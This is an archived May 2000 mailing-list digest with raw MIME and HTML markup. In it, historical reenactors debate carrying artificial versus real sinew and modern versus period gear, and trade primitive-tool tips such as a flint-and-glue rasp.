<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN">
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
<STYLE></STYLE>

</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Along with learning the early =
mountain man=20
survival skills (early on we decided to eschew modern equipment for =
survival) I=20
once made a bedroll from cat tail leaves, reeds, and milk weed. It =
works, but=20
you'd better be a strong sleeper - it tended to leak cold air in and was =
a=20
trifle noisy. Like down (available for as long as there have been geese) =
it is=20
prone to failure when it gets wet. Plastic, under extreme cold, tends to =

fracture under stress. I have never had a wood pack frame or a nice =
leather or=20
linen haversack do that. I have, in my youth when more of them were =
available,=20
seen hand forged axes shatter under normal use in the very cold winter =
months.=20
</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Larry Huber <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>&g=
t;<BR><B>To:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Tuesday, May 09, 2000 9:31 AM<BR><B>Subject: </B>Re: MtMan-List: =

    Artificial Sinew (was saws)<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>If survival is your only goal, =
rip-stop nylon,=20
    gor-tex, stainless steel , down sleeping bags and high-impact =
light-weight=20
    plastic are the way to go.  Most Mountain supply stores carry =
this=20
    stuff.  If your interest lies elsewhere, linen thread packs as =
well as=20
    anything artifical and sinew is free, it comes off the animal you=20
    shot.  Regular animal gut could be used for a saw bow=20
    winch.</FONT></DIV>
    <BLOCKQUOTE=20
    style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
        <DIV style=3D"FONT: 10pt arial">----- Original Message ----- =
</DIV>
        <DIV=20
        style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
        <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Bill=20
        Cunningham</A> </DIV>
        <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
        href=3D"mailto:[e-mail]"=20
        =
title=[e-mail]>[e-mail]</A>=20
        </DIV>
        <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, May 09, =
2000 7:50=20
        AM</DIV>
        <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Artificial=20
        Sinew (was saws)</DIV>
        <DIV><BR></DIV>
        <DIV><FONT color=3D#000000 size=3D2>I was watching that antiques =
roadshow=20
        program one time and a guy brought in an Indian arrow quiver. It =
really=20
        looked nice and he was sure he had a pot of money. But the =
antique guy=20
        showed him that it was factory tanned leather, sewed with =
artificial=20
        sinew, which he explained was a hi-tech modern product. You =
could see=20
        the guy just wither. But it brought to mind a couple of =
questions. In=20
        true survival situations, would you be able to obtain enough =
sinew to=20
        take care of whatever it might be that you'd need it for? Since =
sinew is=20
        typically 12" long or less, and splicing it is tricky at =
best,=20
        would you carry 15 feet or so in your possibles pouch, or =
rather,=20
        perhaps, a small coil of artificial sinew which is infinitely =
long?=20
        Historical authenticity is great and a fine goal, but what if =
your life=20
        (or in some cases, your budget) depended on it?</FONT></DIV>
        <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Bill =
C</FONT></DIV>
        <BLOCKQUOTE=20
        style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
            <DIV><FONT face=3DArial size=3D2><B>-----Original=20
            Message-----</B><BR><B>From: </B>D Miles <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>To:=
=20
            </B><A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
            <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
            </B>Tuesday, May 09, 2000 7:32 AM<BR><B>Subject: =
</B>MtMan-List:=20
            Artificial Sinew (was saws)<BR><BR></DIV></FONT>
            <DIV><FONT face=3DArial size=3D2>Boy, I am on a roll =
now...</FONT></DIV>
            <DIV><FONT face=3DArial size=3D2> I also see way to =
many sutlers=20
            out there that sell FANTASTIC authentic, documented items in =
various=20
            forms.All high quality.... But for some reason, allot of =
them also=20
            list "artificial sinew" on their trade =
lists.....GO=20
            figger...</FONT></DIV>
            <DIV><FONT face=3DArial size=3D2>D</FONT></DIV>
            <DIV> </DIV>
            <DIV> </DIV>
            <DIV><FONT face=3DArial size=3D2>"Abair ach beagan is =
abair gu math=20
            =
e"<BR>         =20
            DOUBLE EDGE FORGE<BR>  Period Knives & Iron=20
            Accoutrements<BR>   <A=20
            =
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A><BR> =20
            "Knowing how is just the=20
        =
beginning"<BR></FONT></DIV></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></=
BODY></HTML>

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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 10:54:22 -0700

This is a multi-part message in MIME format.

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    charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

  Since sinew is typically 12" long or less, and splicing it is tricky =
at best, would you carry 15 feet or so in your possibles pouch, or =
rather, perhaps, a small coil of artificial sinew which is infinitely =
long? Historical authenticity is great and a fine goal, but what if your =
life (or in some cases, your budget) depended on it?
  Bill C

  Bill,

  Your point is well taken, in that when your life depends on it, there =
may be no historical substitute for modern technology. I think the point =
is also well made that the goal is to do well with less and do it the =
old way. I'm not going to set here and tell anyone that I don't have =
some artificial sinew and that all my gear is 100% authentic, nor do I =
have it pared down to the bare minimum. What I carry for maintenence of =
my comfort  level that is not strictly correct is just where I am at in =
making the transition from a modern person to a more natural man.=20

  But when it comes to my safety or the safety of my commrads, modern =
usually wins out. I guess I could carry a medicine bundle of herbs and =
etc.'s but I choose to carry a modern first aid "kit". Perhpas I know of =
herbs that will stem bleeding or ease a head ache and if I find them I =
might think to use them but I also carry bandaid's and modern analgesics =
in case I don't. I know how to collect sinew and how to use it,  along =
with carrying it, but I also carry some more modern fibers/threads in =
case the emergency is just too great, (as you pointed out).=20

  I don't carry a brazier in the canoe much less on my back and wouldn't =
even if they existed. I also have a new cast iron pot (rounded with =
three long legs) that I may carry by boat but it is not someing anyone =
in their right mind would want to carry on their back. I doubt I would =
subject a horse to such extra weight. I have straight sided "dutch =
ovens" that I have used in the past at National Drive and Dump =
Rendezvous but I quit taking it simply because it probably was not even =
close to representative of the kinds of "dutch ovens" used in big camps =
or forts in the Rockies. There are many other items that I have =
accumulated over the years that sure make life more cofortable at Drive =
and Dumps but insofar as my wife will let me, we leave them at home now. =
<G>=20

  It isn't my place to criticize anyone for what they feel they need to =
do or use anymore than it is anyone's place to criticize me for my =
choices but I am only fooling myself if I am so ingenuous as to suggest =
that the short cuts I take are ok without some reasonable explanation as =
to why I take them. And it is our place to advocate that we all try our =
hardest to do it right and where possible show each other and the new =
person the right way. So you and I may very well continue to carry a few =
feet of "artificial sinew" just for emergencies but we will work towards =
learning how to harvest and use the real thing because that is the game =
we are playing. I remain....

  YMOS
  Capt. Lahti'

  Aux Aliments de Pays!

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN">
<META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV><FONT color=3D#000000 size=3D2>Since sinew is typically 12" long =
or less, and=20
  splicing it is tricky at best, would you carry 15 feet or so in your =
possibles=20
  pouch, or rather, perhaps, a small coil of artificial sinew which is=20
  infinitely long? Historical authenticity is great and a fine goal, but =
what if=20
  your life (or in some cases, your budget) depended on it?</FONT></DIV>
  <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Bill =
C</FONT></DIV>
  <DIV> </DIV>
  <DIV>Bill,</DIV>
  <DIV> </DIV>
  <DIV>Your point is well taken, in that when your life depends on it, =
there may=20
  be no historical substitute for modern technology. I think the point =
is also=20
  well made that the goal is to do well with less and do it the old way. =
I'm not=20
  going to set here and tell anyone that I don't have some artificial =
sinew and=20
  that all my gear is 100% authentic, nor do I have it pared down to the =
bare=20
  minimum. What I carry for maintenence of my comfort  level that =
is not=20
  strictly correct is just where I am at in making the transition from a =
modern=20
  person to a more natural man. </DIV>
  <DIV> </DIV>
  <DIV>But when it comes to my safety or the safety of my commrads, =
modern=20
  usually wins out. I guess I could carry a medicine bundle of herbs and =
etc.'s=20
  but I choose to carry a modern first aid "kit". Perhpas I know of =
herbs that=20
  will stem bleeding or ease a head ache and if I find them I might =
think to use=20
  them but I also carry bandaid's and modern analgesics in case I don't. =
I know=20
  how to collect sinew and how to use it,  along with carrying it, but I =
also=20
  carry some more modern fibers/threads in case the emergency is just =
too great,=20
  (as you pointed out). </DIV>
  <DIV> </DIV>
  <DIV>I don't carry a brazier in the canoe much less on my back and =
wouldn't=20
  even if they existed. I also have a new cast iron pot (rounded with =
three long=20
  legs) that I may carry by boat but it is not someing anyone in their =
right=20
  mind would want to carry on their back. I doubt I would subject a =
horse to=20
  such extra weight. I have straight sided "dutch ovens" that I have =
used in the=20
  past at National Drive and Dump Rendezvous but I quit taking it simply =
because=20
  it probably was not even close to representative of the kinds of =
"dutch ovens"=20
  used in big camps or forts in the Rockies. There are many other items =
that I=20
  have accumulated over the years that sure make life more cofortable at =
Drive=20
  and Dumps but insofar as my wife will let me, we leave them at home =
now.=20
  <G> </DIV>
  <DIV> </DIV>
  <DIV>It isn't my place to criticize anyone for what they feel they =
need to do=20
  or use anymore than it is anyone's place to criticize me for my =
choices but I=20
  am only fooling myself if I am so ingenuous as to suggest that the =
short cuts=20
  I take are ok without some reasonable explanation as to why I take =
them. And=20
  it is our place to advocate that we all try our hardest to do it right =
and=20
  where possible show each other and the new person the right way. So =
you and=20
  I may very well continue to carry a few feet of "artificial =
sinew" just=20
  for emergencies but we will work towards learning how to harvest and =
use the=20
  real thing because that is the game we are playing. I remain....</DIV>
  <DIV> </DIV>
  <DIV>YMOS</DIV>
  <DIV>Capt. Lahti'</DIV>
  <DIV> </DIV>
  <DIV>Aux Aliments de Pays!</DIV></BLOCKQUOTE></BODY></HTML>

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-------------------------------------------------------------------------------

From: [e-mail]
Subject: MtMan-List: Saws or files
Date: 09 May 2000 12:05:47 -0600

Ho the List,

Here's something I am just reading......

It is from a book called "Belden, The White Chief" by George P. Belden

    "The most curious process was making files and rasps. To do this, an
alder berry stick was taken and split in two. The pith was then scraped out,
and in the grove thus formed, was poured glue, mixed with pounded flint.
When dry, the particles of flint formed the teeth of the rasp, or file. If
the file became dull, it was only necessary to wash it in hot water, when
the glue and old pieces of flint washed out and new teeth appeared. These
files were very handy, and of vast use to the Indians. What steel is to
iron, they are to the wood and stone used by the Indian. When ponies hoofs
became too long, or splintered, they were trimmed down by these rasps; also,
ax handles, teepee poles, and iron, even, were rubbed down with them."

May be something worth playing with.

Lou Sickler
Colorado Territory

> -----Original Message-----
> From:    [e-mail] [SMTP:[e-mail]]
> Sent:    Tuesday, May 09, 2000 11:20 AM
> To:    [e-mail]
> Subject:    Re: MtMan-List: Artificial Sinew (was saws)
>
> I have tried the linen thread - in various weights. The smaller stuff
> failed, but some stuff I got from a shoe repair shop worked well. The only
> problem I have had with it is that over time it does tend to rot,
> especially if used to patch a moccasin. I have never tried animal gut.
> Great suggestion and one I will follow up on. I shouldn't imagine it would
> have too much stretch. I once read of someone soaking a leather whang in
> blood, rolling it in the sand to catch particles, letting it dry somewhat
> and then using it as a sort of saw. Without further instructions I tried
> it. It worked - to a degree, but I had to keep making new "saws" because,
> at least the way I did it, they don't last long.
>
>     -----Original Message-----
>     From: Larry Huber < [e-mail]
> <mailto:[e-mail]>>
>     To: [e-mail]
> <mailto:[e-mail]> < [e-mail]
> <mailto:[e-mail]>>
>     Date: Tuesday, May 09, 2000 9:31 AM
>     Subject: Re: MtMan-List: Artificial Sinew (was saws)
>
>
>     If survival is your only goal, rip-stop nylon, gor-tex, stainless
> steel , down sleeping bags and high-impact light-weight plastic are the
> way to go.  Most Mountain supply stores carry this stuff.  If your
> interest lies elsewhere, linen thread packs as well as anything artifical
> and sinew is free, it comes off the animal you shot.  Regular animal gut
> could be used for a saw bow winch.
>
>         ----- Original Message -----
>         From: Bill Cunningham <mailto:[e-mail]>
>         To: [e-mail]
> <mailto:[e-mail]>
>         Sent: Tuesday, May 09, 2000 7:50 AM
>         Subject: Re: MtMan-List: Artificial Sinew (was saws)
>
>         I was watching that antiques roadshow program one time and a
> guy brought in an Indian arrow quiver. It really looked nice and he was
> sure he had a pot of money. But the antique guy showed him that it was
> factory tanned leather, sewed with artificial sinew, which he explained
> was a hi-tech modern product. You could see the guy just wither. But it
> brought to mind a couple of questions. In true survival situations, would
> you be able to obtain enough sinew to take care of whatever it might be
> that you'd need it for? Since sinew is typically 12" long or less, and
> splicing it is tricky at best, would you carry 15 feet or so in your
> possibles pouch, or rather, perhaps, a small coil of artificial sinew
> which is infinitely long? Historical authenticity is great and a fine
> goal, but what if your life (or in some cases, your budget) depended on
> it?
>         Bill C
>
>             -----Original Message-----
>             From: D Miles < [e-mail]
> <mailto:[e-mail]>>
>             To: [e-mail]
> <mailto:[e-mail]> < [e-mail]
> <mailto:[e-mail]>>
>             Date: Tuesday, May 09, 2000 7:32 AM
>             Subject: MtMan-List: Artificial Sinew (was saws)
>
>
>             Boy, I am on a roll now...
>              I also see way to many sutlers out there that sell
> FANTASTIC authentic, documented items in various forms.All high
> quality.... But for some reason, allot of them also list "artificial
> sinew" on their trade lists.....GO figger...
>             D
>
>
>             "Abair ach beagan is abair gu math e"
>                       DOUBLE EDGE FORGE
>               Period Knives & Iron Accoutrements
>                <http://www.bright.net/~deforge1>
>               "Knowing how is just the beginning"
>
>

----------------------
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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Saws or files
Date: 09 May 2000 14:55:49 -0600

Looks like it would beat whang, blood and sand.
-----Original Message-----


Ho the List,

Here's something I am just reading......

It is from a book called "Belden, The White Chief" by George P. Belden

"The most curious process was making files and rasps. To do this, an
alder berry stick was taken and split in two. The pith was then scraped out,
and in the grove thus formed, was poured glue, mixed with pounded flint.
When dry, the particles of flint formed the teeth of the rasp, or file. If
the file became dull, it was only necessary to wash it in hot water, when
the glue and old pieces of flint washed out and new teeth appeared. These
files were very handy, and of vast use to the Indians. What steel is to
iron, they are to the wood and stone used by the Indian. When ponies hoofs
became too long, or splintered, they were trimmed down by these rasps; also,
ax handles, teepee poles, and iron, even, were rubbed down with them."

May be something worth playing with.

Lou Sickler
Colorado Territory

> -----Original Message-----
> From: [e-mail] [SMTP:[e-mail]]
> Sent: Tuesday, May 09, 2000 11:20 AM
> To: [e-mail]
> Subject: Re: MtMan-List: Artificial Sinew (was saws)
>
> I have tried the linen thread - in various weights. The smaller stuff
> failed, but some stuff I got from a shoe repair shop worked well. The only
> problem I have had with it is that over time it does tend to rot,
> especially if used to patch a moccasin. I have never tried animal gut.
> Great suggestion and one I will follow up on. I shouldn't imagine it would
> have too much stretch. I once read of someone soaking a leather whang in
> blood, rolling it in the sand to catch particles, letting it dry somewhat
> and then using it as a sort of saw. Without further instructions I tried
> it. It worked - to a degree, but I had to keep making new "saws" because,
> at least the way I did it, they don't last long.
>
> -----Original Message-----
> From: Larry Huber < [e-mail]
> <mailto:[e-mail]>>
> To: [e-mail]
> <mailto:[e-mail]> < [e-mail]
> <mailto:[e-mail]>>
> Date: Tuesday, May 09, 2000 9:31 AM
> Subject: Re: MtMan-List: Artificial Sinew (was saws)
>
>
> If survival is your only goal, rip-stop nylon, gor-tex, stainless
> steel , down sleeping bags and high-impact light-weight plastic are the
> way to go.  Most Mountain supply stores carry this stuff.  If your
> interest lies elsewhere, linen thread packs as well as anything artifical
> and sinew is free, it comes off the animal you shot.  Regular animal gut
> could be used for a saw bow winch.
>
> ----- Original Message -----
> From: Bill Cunningham <mailto:[e-mail]>
> To: [e-mail]
> <mailto:[e-mail]>
> Sent: Tuesday, May 09, 2000 7:50 AM
> Subject: Re: MtMan-List: Artificial Sinew (was saws)
>
> I was watching that antiques roadshow program one time and a
> guy brought in an Indian arrow quiver. It really looked nice and he was
> sure he had a pot of money. But the antique guy showed him that it was
> factory tanned leather, sewed with artificial sinew, which he explained
> was a hi-tech modern product. You could see the guy just wither. But it
> brought to mind a couple of questions. In true survival situations, would
> you be able to obtain enough sinew to take care of whatever it might be
> that you'd need it for? Since sinew is typically 12" long or less, and
> splicing it is tricky at best, would you carry 15 feet or so in your
> possibles pouch, or rather, perhaps, a small coil of artificial sinew
> which is infinitely long? Historical authenticity is great and a fine
> goal, but what if your life (or in some cases, your budget) depended on
> it?
> Bill C
>
> -----Original Message-----
> From: D Miles < [e-mail]
> <mailto:[e-mail]>>
> To: [e-mail]
> <mailto:[e-mail]> < [e-mail]
> <mailto:[e-mail]>>
> Date: Tuesday, May 09, 2000 7:32 AM
> Subject: MtMan-List: Artificial Sinew (was saws)
>
>
> Boy, I am on a roll now...
> I also see way to many sutlers out there that sell
> FANTASTIC authentic, documented items in various forms.All high
> quality.... But for some reason, allot of them also list "artificial
> sinew" on their trade lists.....GO figger...
> D
>
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    <http://www.bright.net/~deforge1>
>   "Knowing how is just the beginning"
>
>

----------------------
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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 14:57:49 -0600

This is a multi-part message in MIME format.

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Well said - nothing I can add to that.
    -----Original Message-----
    From: Roger Lahti <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Tuesday, May 09, 2000 11:56 AM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)
   =20
   =20
        Since sinew is typically 12" long or less, and splicing it is =
tricky at best, would you carry 15 feet or so in your possibles pouch, =
or rather, perhaps, a small coil of artificial sinew which is infinitely =
long? Historical authenticity is great and a fine goal, but what if your =
life (or in some cases, your budget) depended on it?
        Bill C
       =20
        Bill,
       =20
        Your point is well taken, in that when your life depends on it, =
there may be no historical substitute for modern technology. I think the =
point is also well made that the goal is to do well with less and do it =
the old way. I'm not going to set here and tell anyone that I don't have =
some artificial sinew and that all my gear is 100% authentic, nor do I =
have it pared down to the bare minimum. What I carry for maintenence of =
my comfort  level that is not strictly correct is just where I am at in =
making the transition from a modern person to a more natural man.=20
       =20
        But when it comes to my safety or the safety of my commrads, =
modern usually wins out. I guess I could carry a medicine bundle of =
herbs and etc.'s but I choose to carry a modern first aid "kit". Perhpas =
I know of herbs that will stem bleeding or ease a head ache and if I =
find them I might think to use them but I also carry bandaid's and =
modern analgesics in case I don't. I know how to collect sinew and how =
to use it, along with carrying it, but I also carry some more modern =
fibers/threads in case the emergency is just too great, (as you pointed =
out).=20
       =20
        I don't carry a brazier in the canoe much less on my back and =
wouldn't even if they existed. I also have a new cast iron pot (rounded =
with three long legs) that I may carry by boat but it is not someing =
anyone in their right mind would want to carry on their back. I doubt I =
would subject a horse to such extra weight. I have straight sided "dutch =
ovens" that I have used in the past at National Drive and Dump =
Rendezvous but I quit taking it simply because it probably was not even =
close to representative of the kinds of "dutch ovens" used in big camps =
or forts in the Rockies. There are many other items that I have =
accumulated over the years that sure make life more cofortable at Drive =
and Dumps but insofar as my wife will let me, we leave them at home now. =
<G>=20
       =20
        It isn't my place to criticize anyone for what they feel they =
need to do or use anymore than it is anyone's place to criticize me for =
my choices but I am only fooling myself if I am so ingenuous as to =
suggest that the short cuts I take are ok without some reasonable =
explanation as to why I take them. And it is our place to advocate that =
we all try our hardest to do it right and where possible show each other =
and the new person the right way. So you and I may very well continue to =
carry a few feet of "artificial sinew" just for emergencies but we will =
work towards learning how to harvest and use the real thing because that =
is the game we are playing. I remain....
       =20
        YMOS
        Capt. Lahti'
       =20
        Aux Aliments de Pays!

------=_NextPart_000_0010_01BFB9C6.F16ED920
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    charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
Transitional//EN">
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
<STYLE></STYLE>

</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Well said - nothing I can add to=20
that.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Roger Lahti <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B=
>To:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Tuesday, May 09, 2000 11:56 AM<BR><B>Subject: </B>Re: =
MtMan-List:=20
    Artificial Sinew (was saws)<BR><BR></DIV></FONT>
    <BLOCKQUOTE=20
    style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
        <DIV><FONT color=3D#000000 size=3D2>Since sinew is typically =
12" long=20
        or less, and splicing it is tricky at best, would you carry 15 =
feet or=20
        so in your possibles pouch, or rather, perhaps, a small coil of=20
        artificial sinew which is infinitely long? Historical =
authenticity is=20
        great and a fine goal, but what if your life (or in some cases, =
your=20
        budget) depended on it?</FONT></DIV>
        <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Bill =
C</FONT></DIV>
        <DIV> </DIV>
        <DIV>Bill,</DIV>
        <DIV> </DIV>
        <DIV>Your point is well taken, in that when your life depends on =
it,=20
        there may be no historical substitute for modern technology. I =
think the=20
        point is also well made that the goal is to do well with less =
and do it=20
        the old way. I'm not going to set here and tell anyone that I =
don't have=20
        some artificial sinew and that all my gear is 100% authentic, =
nor do I=20
        have it pared down to the bare minimum. What I carry for =
maintenence of=20
        my comfort  level that is not strictly correct is just =
where I am=20
        at in making the transition from a modern person to a more =
natural man.=20
        </DIV>
        <DIV> </DIV>
        <DIV>But when it comes to my safety or the safety of my =
commrads, modern=20
        usually wins out. I guess I could carry a medicine bundle of =
herbs and=20
        etc.'s but I choose to carry a modern first aid "kit". =
Perhpas=20
        I know of herbs that will stem bleeding or ease a head ache and =
if I=20
        find them I might think to use them but I also carry bandaid's =
and=20
        modern analgesics in case I don't. I know how to collect sinew =
and how=20
        to use it, along with carrying it, but I also carry some more =
modern=20
        fibers/threads in case the emergency is just too great, (as you =
pointed=20
        out). </DIV>
        <DIV> </DIV>
        <DIV>I don't carry a brazier in the canoe much less on my back =
and=20
        wouldn't even if they existed. I also have a new cast iron pot =
(rounded=20
        with three long legs) that I may carry by boat but it is not =
someing=20
        anyone in their right mind would want to carry on their back. I =
doubt I=20
        would subject a horse to such extra weight. I have straight =
sided=20
        "dutch ovens" that I have used in the past at National =
Drive=20
        and Dump Rendezvous but I quit taking it simply because it =
probably was=20
        not even close to representative of the kinds of "dutch =
ovens"=20
        used in big camps or forts in the Rockies. There are many other =
items=20
        that I have accumulated over the years that sure make life more=20
        cofortable at Drive and Dumps but insofar as my wife will let =
me, we=20
        leave them at home now. <G> </DIV>
        <DIV> </DIV>
        <DIV>It isn't my place to criticize anyone for what they feel =
they need=20
        to do or use anymore than it is anyone's place to criticize me =
for my=20
        choices but I am only fooling myself if I am so ingenuous as to =
suggest=20
        that the short cuts I take are ok without some reasonable =
explanation as=20
        to why I take them. And it is our place to advocate that we all =
try our=20
        hardest to do it right and where possible show each other and =
the new=20
        person the right way. So you and I may very well continue =
to carry=20
        a few feet of "artificial sinew" just for emergencies =
but we=20
        will work towards learning how to harvest and use the real thing =
because=20
        that is the game we are playing. I remain....</DIV>
        <DIV> </DIV>
        <DIV>YMOS</DIV>
        <DIV>Capt. Lahti'</DIV>
        <DIV> </DIV>
        <DIV>Aux Aliments de =
Pays!</DIV></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0010_01BFB9C6.F16ED920--


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-------------------------------------------------------------------------------

From: Mike Moore <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 09 May 2000 10:41:40 -0600


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Bill,
    I, like Roger, see how we could (and can) justify carrying artifical
sinew. I just feel
that under regular "survival" situations all I would have to use for
building a shelter, making
a tripod or any putting together any  number of  things are sinew,
rawhide, cordage (of various kinds) or leather. So by trying these and
seeing what works and what doesn't, wouldn't that be the best for us
when called upon to have to use it? I hear alot about "survival" gear.
And to me, alot of these items just don't fit in the catagory. Most are
well made, durable items that can be the best you can buy (wheather it
is a kind of Moc, or what is best for sewing stuff up with), but to me
(and this is only  my opinion) why not tie both worlds together and have
authenic equipement that is durable, comfortable and replaceable?
Like alot of you guys, I am a A.M.M. member. and alot of people have
choosen sides in
the authenic/ survival debate. I just say why not be both? Make you and
your equipment the
best they can be. And know how to do the things necessary to survive,
maybe even be
comfortable. I have friends who have Dyer mocs and they love them. But
if I ever had to replace them while in the mountains (it can happen: a
horse or mule scatters everything for a mile or too, you loose one of
them fording a river or maybe a hungry coyote comes in camp and steals
them) I would have to use leather and sinew (or wangs) to make a new
pair.
Every man has their own opinion on this subject- it is kind of like the
recurve versus stick bow, we won't mention the new fangled wheel bows.
And different guys like different things
at different times. But ,doesn't this make a good subject to hammer out
and make people
think????

mike.
people.
Bill Cunningham wrote:

> I was watching that antiques roadshow program one time and a guy
> brought in an Indian arrow quiver. It really looked nice and he was
> sure he had a pot of money. But the antique guy showed him that it was
> factory tanned leather, sewed with artificial sinew, which he
> explained was a hi-tech modern product. You could see the guy just
> wither. But it brought to mind a couple of questions. In true survival
> situations, would you be able to obtain enough sinew to take care of
> whatever it might be that you'd need it for? Since sinew is typically
> 12" long or less, and splicing it is tricky at best, would you carry
> 15 feet or so in your possibles pouch, or rather, perhaps, a small
> coil of artificial sinew which is infinitely long? Historical
> authenticity is great and a fine goal, but what if your life (or in
> some cases, your budget) depended on it?Bill C
>
>      -----Original Message-----
>      From: D Miles <[e-mail]>
>      To: [e-mail]
>      <[e-mail]>
>      Date: Tuesday, May 09, 2000 7:32 AM
>      Subject: MtMan-List: Artificial Sinew (was saws)
>       Boy, I am on a roll now... I also see way to many sutlers
>      out there that sell FANTASTIC authentic, documented items in
>      various forms.All high quality.... But for some reason,
>      allot of them also list "artificial sinew" on their trade
>      lists.....GO figger...D  "Abair ach beagan is abair gu math
>      e"
>                DOUBLE EDGE FORGE
>        Period Knives & Iron Accoutrements
>         http://www.bright.net/~deforge1
>        "Knowing how is just the beginning"
>

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<html>
<body bgcolor="#FFFFFF">
Bill,
<br>    I, like Roger, see how we could (and can) justify
carrying artifical sinew. I just feel
<br>that under regular "survival" situations all I would have to use for
building a shelter, making
<br>a tripod or any putting together any  number of  things are
sinew, rawhide, cordage (of various kinds) or leather. So by trying these
and seeing what works and what doesn't, wouldn't that be the best for us
when called upon to have to use it? I hear alot about "survival" gear.
And to me, alot of these items just don't fit in the catagory. Most are
well made, durable items that can be the best you can buy (wheather it
is a kind of Moc, or what is best for sewing stuff up with), but to me
(and this is only  my opinion) why not tie both worlds together and
have authenic equipement that is durable, comfortable and replaceable?
<br>Like alot of you guys, I am a A.M.M. member. and alot of people have
choosen sides in
<br>the authenic/ survival debate. I just say why not be both? Make you
and your equipment the
<br>best they can be. And know how to do the things necessary to survive,
maybe even be
<br>comfortable. I have friends who have Dyer mocs and they love them.
But if I ever had to replace them while in the mountains (it can happen:
a horse or mule scatters everything for a mile or too, you loose one of
them fording a river or maybe a hungry coyote comes in camp and steals
them) I would have to use leather and sinew (or wangs) to make a new pair.
<br>Every man has their own opinion on this subject- it is kind of like
the recurve versus stick bow, we won't mention the new fangled wheel bows.
And different guys like different things
<br>at different times. But ,doesn't this make a good subject to hammer
out and make people
<br>think????
<br>
mike.
<br>people.
<br>Bill Cunningham wrote:
<blockquote TYPE=CITE><style></style>
<font color="#000000"><font size=-1>I
was watching that antiques roadshow program one time and a guy brought
in an Indian arrow quiver. It really looked nice and he was sure he had
a pot of money. But the antique guy showed him that it was factory tanned
leather, sewed with artificial sinew, which he explained was a hi-tech
modern product. You could see the guy just wither. But it brought to mind
a couple of questions. In true survival situations, would you be able to
